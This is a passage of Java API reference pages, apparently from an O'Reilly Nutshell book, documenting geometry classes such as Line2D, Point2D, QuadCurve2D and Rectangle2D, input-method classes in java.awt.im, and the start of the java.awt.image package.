 | public double getX1 (); | default:0.0
 | public double getX2 (); | default:0.0
 | public double getY1 (); | default:0.0
 | public double getY2 (); | default:0.0
 | public void setLine (double X1, double Y1, double X2, double Y2); |
// | Public Instance Fields
 | public double x1 ; |
 | public double x2 ; |
 | public double y1 ; |
 | public double y2 ; |
}
Line2D.Float | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of Line2D that uses float fields to store the end points of the line segment. These end points are stored in public fields and may be directly set and queried by programs. See Line2D for more information.

public static class Line2D.Float extends Line2D {
// | Public Constructors
 | public Float (); |
 | public Float (Point2D p1, Point2D p2); |
 | public Float (float X1, float Y1, float X2, float Y2); |
// | Public Instance Methods
 | public void setLine (float X1, float Y1, float X2, float Y2); |
// | Public Methods Overriding Line2D
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Float
 | public Point2D getP1 (); | default:Point2D.Float
 | public Point2D getP2 (); | default:Point2D.Float
 | public double getX1 (); | default:0.0
 | public double getX2 (); | default:0.0
 | public double getY1 (); | default:0.0
 | public double getY2 (); | default:0.0
 | public void setLine (double X1, double Y1, double X2, double Y2); |
// | Public Instance Fields
 | public float x1 ; |
 | public float x2 ; |
 | public float y1 ; |
 | public float y2 ; |
}
NoninvertibleTransformException | Java 1.2
java.awt.geom | serializable checked

Thrown when the inverse of a noninvertible AffineTransform is required. An example of a noninvertible transformation is scaling the X dimension by a factor of 0. This maps all points onto a vertical line, leaving no information about transforming those points back to their original locations. This transform is noninvertible because division by zero is not possible.

public class NoninvertibleTransformException extends Exception {
// | Public Constructors
 | public NoninvertibleTransformException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NoninvertibleTransformException

Thrown By: AffineTransform.{createInverse(), inverseTransform()}

PathIterator Java 1.2
java.awt.geom

This interface is the basic Java 2D mechanism for defining arbitrary shapes. The most important requirement of the java.awt.Shape interface is that every shape be able to return a PathIterator that traverses the outline of the shape. The information returned by a PathIterator is sufficient to allow the Java 2D rendering engine to stroke (draw) or fill arbitrarily complex shapes.

A PathIterator breaks a shape or path down into individual path segments. The currentSegment() method returns the current segment. The next() method moves the iterator on to the next segment, and isDone() returns true if there are no more segments left to iterate. getWindingRule() returns the winding rule for the shape--this value is used to determine which points are inside complex self-intersecting shapes. The two possible values are WIND_EVEN_ODD and WIND_NON_ZERO.

currentSegment() is the most important method of PathIterator. Its return value, one of the five integer constants whose names begin with SEG, specifies the type of the current segment. currentSegment() returns the coordinates of the current segment in the float or double array passed as an argument. This array must have at least six elements. The segment types and their meanings are as follows:

SEG_MOVETO

Defines a path starting point rather than an actual segment. The current point of the path is set to the X,Y point specified in the first two elements of the array. This is the first segment type of all paths. Paths may be disjoint, and may have more than one SEG_MOVETO segment.

SEG_LINETO

Defines a line between the current point and the X,Y end point stored in the first two elements of the array. The end point of the line segment becomes the new current point.

SEG_QUADTO

Defines a quadratic Bezier curve between the current point and an end point stored in the third and fourth elements of the array, using a control point stored in the first and second elements of the array. The end point of the curve becomes the current point.

SEG_CUBICTO

Defines a cubic Bezier curve between the current point and an end point stored in the fifth and sixth elements of the array, using two control points stored in the first through fourth elements of the array. The end point of the curve becomes the current point.

SEG_CLOSE

Specifies that the path should be closed by drawing a straight line from the current point back to the point specified by the most recent SEG_MOVETO segment. No values are stored in the array for this segment type.

public abstract interface PathIterator {
// | Public Constants
 | public static final int SEG_CLOSE ; | =4
 | public static final int SEG_CUBICTO ; | =3
 | public static final int SEG_LINETO ; | =1
 | public static final int SEG_MOVETO ; | =0
 | public static final int SEG_QUADTO ; | =2
 | public static final int WIND_EVEN_ODD ; | =0
 | public static final int WIND_NON_ZERO ; | =1
// | Public Instance Methods
 | public abstract int currentSegment (float[ ] coords); |
 | public abstract int currentSegment (double[ ] coords); |
 | public abstract int getWindingRule (); |
 | public abstract boolean isDone (); |
 | public abstract void next (); |
}

Implementations: FlatteningPathIterator

Passed To: FlatteningPathIterator.FlatteningPathIterator(), GeneralPath.append()

Returned By: Too many methods to list.

Point2D | Java 1.2
java.awt.geom | cloneable

This abstract class represents a point in two-dimensional space. It has methods for getting and setting the X and Y coordinates of the point as double values and for computing the distance between points.

Point2D is abstract; it does not store actual coordinates and cannot be instantiated. You must use one of its concrete subclasses instead. Point2D.Double stores the coordinates of a point using double fields, while Point2D.Float stores the coordinates using float fields. Finally, java.awt.Point stores the coordinates using int fields.

public abstract class Point2D implements Cloneable {
// | Protected Constructors
 | protected Point2D ();
// | Inner Classes
 | ;
 | ;
// | Public Class Methods
 | public static double distance (double X1, double Y1, double X2, double Y2);
 | public static double distanceSq (double X1, double Y1, double X2, double Y2);
// | Property Accessor Methods (by property name)
 | public abstract double getX ();
 | public abstract double getY ();
// | Public Instance Methods
 | public double distance (Point2D pt);
 | public double distance (double PX, double PY);
 | public double distanceSq (Point2D pt);
 | public double distanceSq (double PX, double PY);
 | public void setLocation (Point2D p);
 | public abstract void setLocation (double x, double y);
// | Public Methods Overriding Object
 | public Object clone ();
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->Point2D(Cloneable)

Subclasses: Point, Point2D.Double, Point2D.Float

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Point2D.Double | Java 1.2
java.awt.geom | cloneable

This class is a concrete implementation of Point2D that stores the X and Y coordinates of a point using double fields. These fields are public and can be queried and set directly, without using accessor methods.

public static class Point2D.Double extends Point2D {
// | Public Constructors
 | public Double (); |
 | public Double (double x, double y); |
// | Public Methods Overriding Point2D
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public void setLocation (double x, double y); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public double x ; |
 | public double y ; |
}
Point2D.Float | Java 1.2
java.awt.geom | cloneable

This class is a concrete implementation of Point2D that stores the X and Y coordinates of a point using float fields. These fields are public and can be queried and set directly, without using accessor methods.

public static class Point2D.Float extends Point2D {
// | Public Constructors
 | public Float (); |
 | public Float (float x, float y); |
// | Public Instance Methods
 | public void setLocation (float x, float y); |
// | Public Methods Overriding Point2D
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public void setLocation (double x, double y); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public float x ; |
 | public float y ; |
}
QuadCurve2D | Java 1.2
java.awt.geom | cloneable shape

This abstract class is a java.awt.Shape that represents a smooth quadratic Bezier curve (or spline) between end points p1 (x1, y1) and p2 (x2, y2). The precise shape of the curve is defined by a control point, cp (ctrlx, ctrly). Note that the curve does not pass through cp but that it does remain inside the triangle defined by p1, cp, and p2.

QuadCurve2D does not itself enclose an area, so the contains() methods test whether a point or rectangle is within the area defined by the curve and the straight line between its end points.

QuadCurve2D is an abstract class and cannot be instantiated. QuadCurve2D.Float and QuadCurve2D.Double are concrete subclasses that use float and double fields to store the end points and control point. See also CubicCurve2D, which is a cubic Bezier curve that uses two control points.

public abstract class QuadCurve2D implements Cloneable, Shape {
// | Protected Constructors
 | protected QuadCurve2D (); |
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static double getFlatness (double[ ] coords, int offset); |
 | public static double getFlatness (double x1, double y1, double ctrlx, double ctrly, double x2, double y2); |
 | public static double getFlatnessSq (double[ ] coords, int offset); |
 | public static double getFlatnessSq (double x1, double y1, double ctrlx, double ctrly, double x2, double y2); |
 | public static int solveQuadratic (double[ ] eqn); |
 | public static void subdivide (QuadCurve2D src, QuadCurve2D left, QuadCurve2D right); |
 | public static void subdivide (double[ ] src, int srcoff, double[ ] left, int leftoff, double[ ] right, int rightoff); |
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds (); | Implements:Shape
 | public abstract Rectangle2D getBounds2D (); | Implements:Shape
 | public abstract Point2D getCtrlPt (); |
 | public abstract double getCtrlX (); |
 | public abstract double getCtrlY (); |
 | public double getFlatness (); |
 | public double getFlatnessSq (); |
 | public abstract Point2D getP1 (); |
 | public abstract Point2D getP2 (); |
 | public abstract double getX1 (); |
 | public abstract double getX2 (); |
 | public abstract double getY1 (); |
 | public abstract double getY2 (); |
// | Public Instance Methods
 | public void setCurve (QuadCurve2D c); |
 | public void setCurve (double[ ] coords, int offset); |
 | public void setCurve (Point2D[ ] pts, int offset); |
 | public void setCurve (Point2D p1, Point2D cp, Point2D p2); |
 | public abstract void setCurve (double x1, double y1, double ctrlx, double ctrly, double x2, double y2); |
 | public void subdivide (QuadCurve2D left, QuadCurve2D right); |
// | Methods Implementing Shape
 | public boolean contains (Point2D p); |
 | public boolean contains (Rectangle2D r); |
 | public boolean contains (double x, double y); |
 | public boolean contains (double x, double y, double w, double h); |
 | public Rectangle getBounds (); |
 | public abstract Rectangle2D getBounds2D (); |
 | public PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (Rectangle2D r); |
 | public boolean intersects (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->QuadCurve2D(Cloneable,Shape)

Subclasses: QuadCurve2D.Double, QuadCurve2D.Float

Passed To: QuadCurve2D.{setCurve(), subdivide()}

QuadCurve2D.Double | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of QuadCurve2D that uses double fields to store the end points and control point of the curve. The X and Y coordinates of these three points are stored in public fields and may be used directly by Java programs. See QuadCurve2D for more information.

public static class QuadCurve2D.Double extends QuadCurve2D {
// | Public Constructors
 | public Double (); |
 | public Double (double x1, double y1, double ctrlx, double ctrly, double x2, double y2); |
// | Public Methods Overriding QuadCurve2D
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public Point2D getCtrlPt (); | default:Point2D.Double
 | public double getCtrlX (); | default:0.0
 | public double getCtrlY (); | default:0.0
 | public Point2D getP1 (); | default:Point2D.Double
 | public Point2D getP2 (); | default:Point2D.Double
 | public double getX1 (); | default:0.0
 | public double getX2 (); | default:0.0
 | public double getY1 (); | default:0.0
 | public double getY2 (); | default:0.0
 | public void setCurve (double x1, double y1, double ctrlx, double ctrly, double x2, double y2); |
// | Public Instance Fields
 | public double ctrlx ; |
 | public double ctrly ; |
 | public double x1 ; |
 | public double x2 ; |
 | public double y1 ; |
 | public double y2 ; |
}
QuadCurve2D.Float | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of QuadCurve2D that uses float fields to store the end points and control point of the curve. The X and Y coordinates of these three points are stored in public fields and may be used directly by Java programs. See QuadCurve2D for more information.

public static class QuadCurve2D.Float extends QuadCurve2D {
// | Public Constructors
 | public Float (); |
 | public Float (float x1, float y1, float ctrlx, float ctrly, float x2, float y2); |
// | Public Instance Methods
 | public void setCurve (float x1, float y1, float ctrlx, float ctrly, float x2, float y2); |
// | Public Methods Overriding QuadCurve2D
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Float
 | public Point2D getCtrlPt (); | default:Point2D.Float
 | public double getCtrlX (); | default:0.0
 | public double getCtrlY (); | default:0.0
 | public Point2D getP1 (); | default:Point2D.Float
 | public Point2D getP2 (); | default:Point2D.Float
 | public double getX1 (); | default:0.0
 | public double getX2 (); | default:0.0
 | public double getY1 (); | default:0.0
 | public double getY2 (); | default:0.0
 | public void setCurve (double x1, double y1, double ctrlx, double ctrly, double x2, double y2); |
// | Public Instance Fields
 | public float ctrlx ; |
 | public float ctrly ; |
 | public float x1 ; |
 | public float x2 ; |
 | public float y1 ; |
 | public float y2 ; |
}
Rectangle2D | Java 1.2
java.awt.geom | cloneable shape

This abstract java.awt.Shape represents a rectangle specified by the location of its upper-left corner, its width, and its height. Various methods compute intersections and unions of rectangles, test whether a rectangle contains a point or contains another rectangle, and test whether a rectangle intersects a line or another rectangle. The outcode() method determines the spatial relationship between a point and a rectangle. The return value is the sum of the OUT_ constants that specify which edges of the rectangle a point is outside of. A value of 0 means that the point is inside the rectangle, of course. Other interesting methods include setFrameFromDiagonal() and setFrameFromCenter(), inherited from RectangularShape.

Rectangle2D is an abstract class that does not define any fields to store the size and position of the rectangle and cannot be instantiated. Choose a concrete subclass based on the type of data fields you desire: Rectangle2D.Double uses double fields, Rectangle2D.Float uses float fields, and java.awt.Rectangle uses int fields.

public abstract class Rectangle2D extends RectangularShape {
// | Protected Constructors
 | protected Rectangle2D (); |
// | Public Constants
 | public static final int OUT_BOTTOM ; | =8
 | public static final int OUT_LEFT ; | =1
 | public static final int OUT_RIGHT ; | =4
 | public static final int OUT_TOP ; | =2
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static void intersect (Rectangle2D src1, Rectangle2D src2, Rectangle2D dest); |
 | public static void union (Rectangle2D src1, Rectangle2D src2, Rectangle2D dest); |
// | Public Instance Methods
 | public void add (Point2D pt); |
 | public void add (Rectangle2D r); |
 | public void add (double newx, double newy); |
 | public abstract Rectangle2D createIntersection (Rectangle2D r); |
 | public abstract Rectangle2D createUnion (Rectangle2D r); |
 | public boolean intersectsLine (Line2D l); |
 | public boolean intersectsLine (double x1, double y1, double x2, double y2); |
 | public int outcode (Point2D p); |
 | public abstract int outcode (double x, double y); |
 | public void setRect (Rectangle2D r); |
 | public abstract void setRect (double x, double y, double w, double h); |
// | Public Methods Overriding RectangularShape
 | public boolean contains (double x, double y); |
 | public boolean contains (double x, double y, double w, double h); |
 | public Rectangle2D getBounds2D (); |
 | public PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (double x, double y, double w, double h); |
 | public void setFrame (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
}

Hierarchy: Object-->RectangularShape(Cloneable,Shape)-->Rectangle2D

Subclasses: Rectangle, Rectangle2D.Double, Rectangle2D.Float

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Rectangle2D.Double | Java 1.2
java.awt.geom | cloneable shape

This concrete subclass of Rectangle2D stores the position and size of the rectangle in fields of type double. These fields are declared public and can be set and queried directly without relying on accessor methods.

public static class Rectangle2D.Double extends Rectangle2D {
// | Public Constructors
 | public Double (); |
 | public Double (double x, double y, double w, double h); |
// | Public Methods Overriding Rectangle2D
 | public Rectangle2D createIntersection (Rectangle2D r); |
 | public Rectangle2D createUnion (Rectangle2D r); |
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public int outcode (double x, double y); |
 | public void setRect (Rectangle2D r); |
 | public void setRect (double x, double y, double w, double h); |
// | Public Methods Overriding RectangularShape
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public double height ; |
 | public double width ; |
 | public double x ; |
 | public double y ; |
}
Rectangle2D.Float | Java 1.2
java.awt.geom | cloneable shape

This concrete subclass of Rectangle2D stores the position and size of the rectangle in fields of type float. These fields are declared public and can be set and queried directly without relying on accessor methods.

public static class Rectangle2D.Float extends Rectangle2D {
// | Public Constructors
 | public Float (); |
 | public Float (float x, float y, float w, float h); |
// | Public Instance Methods
 | public void setRect (float x, float y, float w, float h); |
// | Public Methods Overriding Rectangle2D
 | public Rectangle2D createIntersection (Rectangle2D r); |
 | public Rectangle2D createUnion (Rectangle2D r); |
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Float
 | public int outcode (double x, double y); |
 | public void setRect (Rectangle2D r); |
 | public void setRect (double x, double y, double w, double h); |
// | Public Methods Overriding RectangularShape
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public float height ; |
 | public float width ; |
 | public float x ; |
 | public float y ; |
}
RectangularShape | Java 1.2
java.awt.geom | cloneable shape

This abstract class is the base class for several java.awt.Shape implementations that have a rectangular outline or bounding box. Its methods allow you to set and query the size and position of the bounding rectangle in several interesting ways.

public abstract class RectangularShape implements Cloneable, Shape {
// | Protected Constructors
 | protected RectangularShape (); |
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds (); | Implements:Shape
 | public abstract Rectangle2D getBounds2D (); | Implements:Shape
 | public double getCenterX (); |
 | public double getCenterY (); |
 | public abstract boolean isEmpty (); |
 | public Rectangle2D getFrame (); |
 | public void setFrame (Rectangle2D r); |
 | public void setFrame (Point2D loc, Dimension2D size); |
 | public abstract void setFrame (double x, double y, double w, double h); |
 | public abstract double getHeight (); |
 | public double getMaxX (); |
 | public double getMaxY (); |
 | public double getMinX (); |
 | public double getMinY (); |
 | public abstract double getWidth (); |
 | public abstract double getX (); |
 | public abstract double getY (); |
// | Public Instance Methods
 | public void setFrameFromCenter (Point2D center, Point2D corner); |
 | public void setFrameFromCenter (double centerX, double centerY, double cornerX, double cornerY); |
 | public void setFrameFromDiagonal (Point2D p1, Point2D p2); |
 | public void setFrameFromDiagonal (double x1, double y1, double x2, double y2); |
// | Methods Implementing Shape
 | public boolean contains (Point2D p); |
 | public boolean contains (Rectangle2D r); |
 | public abstract boolean contains (double x, double y); |
 | public abstract boolean contains (double x, double y, double w, double h); |
 | public Rectangle getBounds (); |
 | public abstract Rectangle2D getBounds2D (); |
 | public abstract PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (Rectangle2D r); |
 | public abstract boolean intersects (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->RectangularShape(Cloneable,Shape)

Subclasses: Arc2D, Ellipse2D, Rectangle2D, RoundRectangle2D

RoundRectangle2D | Java 1.2
java.awt.geom | cloneable shape

This abstract java.awt.Shape represents a rectangle with rounded corners, specified by the position of the upper-left corner (before rounding), the width and height of the rectangle, and the width and height of the arc used to round the corners. RoundRectangle2D is abstract and may not be instantiated. Use the concrete subclasses RoundRectangle2D.Double and RoundRectangle2D.Float, depending on the precision you desire for the rectangle coordinates and dimensions.

public abstract class RoundRectangle2D extends RectangularShape {
// | Protected Constructors
 | protected RoundRectangle2D ();
// | Inner Classes
 | ;
 | ;
// | Property Accessor Methods (by property name)
 | public abstract double getArcHeight ();
 | public abstract double getArcWidth ();
// | Public Instance Methods
 | public void setRoundRect (RoundRectangle2D rr);
 | public abstract void setRoundRect (double x, double y, double w, double h, double arcWidth, double arcHeight);
// | Public Methods Overriding RectangularShape
 | public boolean contains (double x, double y);
 | public boolean contains (double x, double y, double w, double h);
 | public PathIterator getPathIterator (AffineTransform at);
 | public boolean intersects (double x, double y, double w, double h);
 | public void setFrame (double x, double y, double w, double h);
}

Hierarchy: Object-->RectangularShape(Cloneable,Shape)-->RoundRectangle2D

Subclasses: RoundRectangle2D.Double, RoundRectangle2D.Float

Passed To: RoundRectangle2D.setRoundRect(), RoundRectangle2D.Double.setRoundRect(), RoundRectangle2D.Float.setRoundRect()

RoundRectangle2D.Double | Java 1.2
java.awt.geom | cloneable shape

This concrete subclass of RoundRectangle2D stores the position and size of the rectangle and the size of the rounded corners in fields of type double. These fields are declared public and can be set and queried directly without relying on accessor methods.

public static class RoundRectangle2D.Double extends RoundRectangle2D {
// | Public Constructors
 | public Double (); |
 | public Double (double x, double y, double w, double h, double arcw, double arch); |
// | Public Methods Overriding RoundRectangle2D
 | public double getArcHeight (); | default:0.0
 | public double getArcWidth (); | default:0.0
 | public void setRoundRect (RoundRectangle2D rr); |
 | public void setRoundRect (double x, double y, double w, double h, double arcw, double arch); |
// | Public Methods Overriding RectangularShape
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
// | Public Instance Fields
 | public double archeight ; |
 | public double arcwidth ; |
 | public double height ; |
 | public double width ; |
 | public double x ; |
 | public double y ; |
}
RoundRectangle2D.Float | Java 1.2
java.awt.geom | cloneable shape

This concrete subclass of RoundRectangle2D stores the position and size of the rectangle and the size of the rounded corners in fields of type float. These fields are declared public and can be set and queried directly without relying on accessor methods.

public static class RoundRectangle2D.Float extends RoundRectangle2D {
// | Public Constructors
 | public Float (); |
 | public Float (float x, float y, float w, float h, float arcw, float arch); |
// | Public Instance Methods
 | public void setRoundRect (float x, float y, float w, float h, float arcw, float arch); |
// | Public Methods Overriding RoundRectangle2D
 | public double getArcHeight (); | default:0.0
 | public double getArcWidth (); | default:0.0
 | public void setRoundRect (RoundRectangle2D rr); |
 | public void setRoundRect (double x, double y, double w, double h, double arcw, double arch); |
// | Public Methods Overriding RectangularShape
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Float
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
// | Public Instance Fields
 | public float archeight ; |
 | public float arcwidth ; |
 | public float height ; |
 | public float width ; |
 | public float x ; |
 | public float y ; |
}
Previous | Home | Next
15.1. The java.awt.font Package | Book Index | 17. The java.awt.im Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.im Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 17. The java.awt.im Package

The java.awt.im package contains classes and interfaces used by input methods and by the text-editing user interface components that interact with input methods. Most applications rely on GUI components that have input method support built in and do not need to use this package directly. In other words, input method details are usually hidden by text input components, and application-level code should never have to use these classes and interfaces. Figure 17-1 shows the class hierarchy of this package, which is new in Java 1.2.

Figure 17-1. The java.awt.im package

InputContext Java 1.2
java.awt.im

This class serves as an intermediary between input methods and the text input components that use them. An InputContext stores the state related to one pending text composition operation. By default, there is one InputContext per Window. Components can obtain this shared input context with the Component.getInputContext() method. Components that need a private InputContext can create their own with InputContext.getInstance().

public class InputContext {
// | Protected Constructors
 | protected InputContext (); |
// | Public Class Methods
 | public static InputContext getInstance (); |
// | Property Accessor Methods (by property name)
 | public Object getInputMethodControlObject (); | constant
// | Public Instance Methods
 | public void dispatchEvent (AWTEvent event); | synchronized empty
 | public void dispose (); | empty
 | public void endComposition (); | synchronized empty
 | public void removeNotify (Component client); | empty
 | public boolean selectInputMethod (java.util.Locale locale); | constant
 | public void setCharacterSubsets (Character.Subset[ ] subsets); | empty
}

Returned By: Component.getInputContext(), Window.getInputContext(), InputContext.getInstance()

InputMethodHighlight Java 1.2
java.awt.im

This class defines the highlighted or unhighlighted state of text being processed by an input method. For input methods, highlighting can be used to distinguish converted from unconverted text, as well as to distinguish selected from unselected text. InputMethodHighlight objects are used as attribute values returned by java.text.AttributedCharacterIterator objects. Note the various InputMethodHighlight constants predefined by this class.

public class InputMethodHighlight {
// | Public Constructors
 | public InputMethodHighlight (boolean selected, int state); |
 | public InputMethodHighlight (boolean selected, int state, int variation); |
// | Public Constants
 | public static final int CONVERTED_TEXT ; | =1
 | public static final int RAW_TEXT ; | =0
 | public static final InputMethodHighlight SELECTED_CONVERTED_TEXT_HIGHLIGHT ; |
 | public static final InputMethodHighlight SELECTED_RAW_TEXT_HIGHLIGHT ; |
 | public static final InputMethodHighlight UNSELECTED_CONVERTED_TEXT_HIGHLIGHT ; |
 | public static final InputMethodHighlight UNSELECTED_RAW_TEXT_HIGHLIGHT ; |
// | Public Instance Methods
 | public int getState (); |
 | public int getVariation (); |
 | public boolean isSelected (); |
}

Type Of: InputMethodHighlight.{SELECTED_CONVERTED_TEXT_HIGHLIGHT, SELECTED_RAW_TEXT_HIGHLIGHT, UNSELECTED_CONVERTED_TEXT_HIGHLIGHT, UNSELECTED_RAW_TEXT_HIGHLIGHT}

InputMethodRequests Java 1.2
java.awt.im

This interface defines the methods that a component must implement in order to accept text input from input methods. A component need not implement these methods directly, but it must return an object that implements this interface from a getInputMethodRequests() method.

public abstract interface InputMethodRequests {
// | Public Instance Methods
 | public abstract java.text.AttributedCharacterIterator cancelLatestCommittedText (java.text.AttributedCharacterIterator.Attribute[ ] attributes);
 | public abstract java.text.AttributedCharacterIterator getCommittedText (int beginIndex, int endIndex, java.text.AttributedCharacterIterator.Attribute[ ] attributes);
 | public abstract int getCommittedTextLength ();
 | public abstract int getInsertPositionOffset ();
 | public abstract java.awt.font.TextHitInfo getLocationOffset (int x, int y);
 | public abstract java.text.AttributedCharacterIterator getSelectedText (java.text.AttributedCharacterIterator.Attribute[ ] attributes);
 | public abstract Rectangle getTextLocation (java.awt.font.TextHitInfo offset);
}

Returned By: Component.getInputMethodRequests(), javax.swing.text.JTextComponent.getInputMethodRequests()

InputSubset Java 1.2
java.awt.im

This class defines Character$Subset constants that are useful to input methods.

public final class InputSubset extends Character.Subset {
// | No Constructor
// | Public Constants
 | public static final InputSubset HALFWIDTH_KATAKANA ;
 | public static final InputSubset HANJA ;
 | public static final InputSubset KANJI ;
 | public static final InputSubset LATIN ;
 | public static final InputSubset LATIN_DIGITS ;
 | public static final InputSubset SIMPLIFIED_HANZI ;
 | public static final InputSubset TRADITIONAL_HANZI ;
}

Hierarchy: Object-->Character.Subset-->InputSubset

Type Of: InputSubset.{HALFWIDTH_KATAKANA, HANJA, KANJI, LATIN, LATIN_DIGITS, SIMPLIFIED_HANZI, TRADITIONAL_HANZI}

Previous | Home | Next
16.1. The java.awt.geom Package | Book Index | 18. The java.awt.image Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.image Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 18. The java.awt.image Package

The java.awt.image package contains classes and interfaces for manipulating images. Note that the java.awt.Image class itself is not part of this package. In Java 1.0 and Java 1.1, the image processing model was optimized for streaming image data loaded over a network and processed on the fly. It involved the ImageProducer, ImageConsumer, and ImageObserver interfaces and the ImageFilter class. This image-processing model is complex and difficult to use. Much of it has been superseded in Java 1.2.

In Java 2D, the image-processing model has been extended (and simplified) to accommodate image data that is stored and manipulated in memory. The key pieces of this new image-processing model are the BufferedImage class, which represents an image in memory, and the BufferedImageOp interface, which represents an image-processing operation. Every BufferedImage contains a Raster object that hold the pixels of the image and a ColorModel object that can interpret those pixel values as Color objects. A Raster object, in turn, contains a DataBuffer that holds the raw image data and a SampleModel object that knows how to extract pixel values from that raw data.

Figure 18-1 shows the class hierarchy of this package. See Chapter 4, "Graphics with AWT and Java 2D", for a discussion of images and image processing.

Figure 18-1. The java.awt.image package

AffineTransformOp Java 1.2
java.awt.image

This class is a BufferedImageOp and a RasterOp that performs an arbitrary java.awt.geom.AffineTransform on a BufferedImage or Raster. To create an AffineTransformOp, you must specify the desired AffineTransform and the interpolation mode to use when interpolation is necessary to determine the pixel or color values of the destination. TYPE_NEAREST_NEIGHBOR is the quicker form of interpolation, but TYPE_BILINEAR produces better results. You may also specify the type of interpolation to use by specifying a java.awt.RenderingHints object that contains an interpolation hint.

To use an AffineTransformOp, simply pass a BufferedImage or Raster to the filter() method. Note that for this operation the destination image or raster cannot be the same as the source image or raster. See BufferedImageOp for further details.

public class AffineTransformOp implements BufferedImageOp, RasterOp {
// | Public Constructors
 | public AffineTransformOp (java.awt.geom.AffineTransform xform, RenderingHints hints); |
 | public AffineTransformOp (java.awt.geom.AffineTransform xform, int interpolationType); |
// | Public Constants
 | public static final int TYPE_BILINEAR ; | =2
 | public static final int TYPE_NEAREST_NEIGHBOR ; | =1
// | Public Instance Methods
 | public final int getInterpolationType (); |
 | public final java.awt.geom.AffineTransform getTransform (); |
// | Methods Implementing BufferedImageOp
 | public BufferedImage createCompatibleDestImage (BufferedImage src, ColorModel destCM); |
 | public final BufferedImage filter (BufferedImage src, BufferedImage dst); |
 | public final java.awt.geom.Rectangle2D getBounds2D (BufferedImage src); |
 | public final java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt); |
 | public final RenderingHints getRenderingHints (); |
// | Methods Implementing RasterOp
 | public WritableRaster createCompatibleDestRaster (Raster src); |
 | public final WritableRaster filter (Raster src, WritableRaster dst); |
 | public final java.awt.geom.Rectangle2D getBounds2D (Raster src); |
}

Hierarchy: Object-->AffineTransformOp(BufferedImageOp,RasterOp)

AreaAveragingScaleFilter | Java 1.1
java.awt.image | cloneable PJ1.1

This class implements an ImageFilter that scales an image to a specified pixel size. It uses a scaling algorithm that averages adjacent pixel values when shrinking an image, which produces relatively smooth scaled images. Its superclass, ReplicateScaleFilter, implements a faster, less smooth scaling algorithm. The easiest way to use this filter is to call the getScaledInstance() method of java.awt.Image, specifying an appropriate hint constant.

The methods of this class are ImageConsumer methods intended for communication between the image filter and the FilteredImageSource that uses it. Applications do not usually call these methods directly.

public class AreaAveragingScaleFilter extends ReplicateScaleFilter {
// | Public Constructors
 | public AreaAveragingScaleFilter (int width, int height);
// | Public Methods Overriding ReplicateScaleFilter
 | public void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize);
// | Public Methods Overriding ImageFilter
 | public void setHints (int hints);
}

Hierarchy: Object-->ImageFilter(Cloneable,ImageConsumer)-->ReplicateScaleFilter-->AreaAveragingScaleFilter

BandCombineOp Java 1.2
java.awt.image

This RasterOp allows the bands of image data in a Raster to be arbitrarily combined using a matrix. For example, you can use a BandCombineOp to convert three bands of color image data to a single band of grayscale image data. The number of columns of the matrix should be equal to the number of bands in the source raster or the number of bands plus one, if you are adding constant values as part of the combination. The number of rows in the matrix should be equal to the number of bands in the destination Raster.

As an example, consider the following matrix with four columns and three rows, used to convert a Raster with three bands to another three-banded raster: figure This matrix is used to convert the source bands s1, s2, and s3 into destination bands d1, d2, and d3, using the following formulas:

d1 = s1*m11 + s2*m21 + s3*m31 + c1;
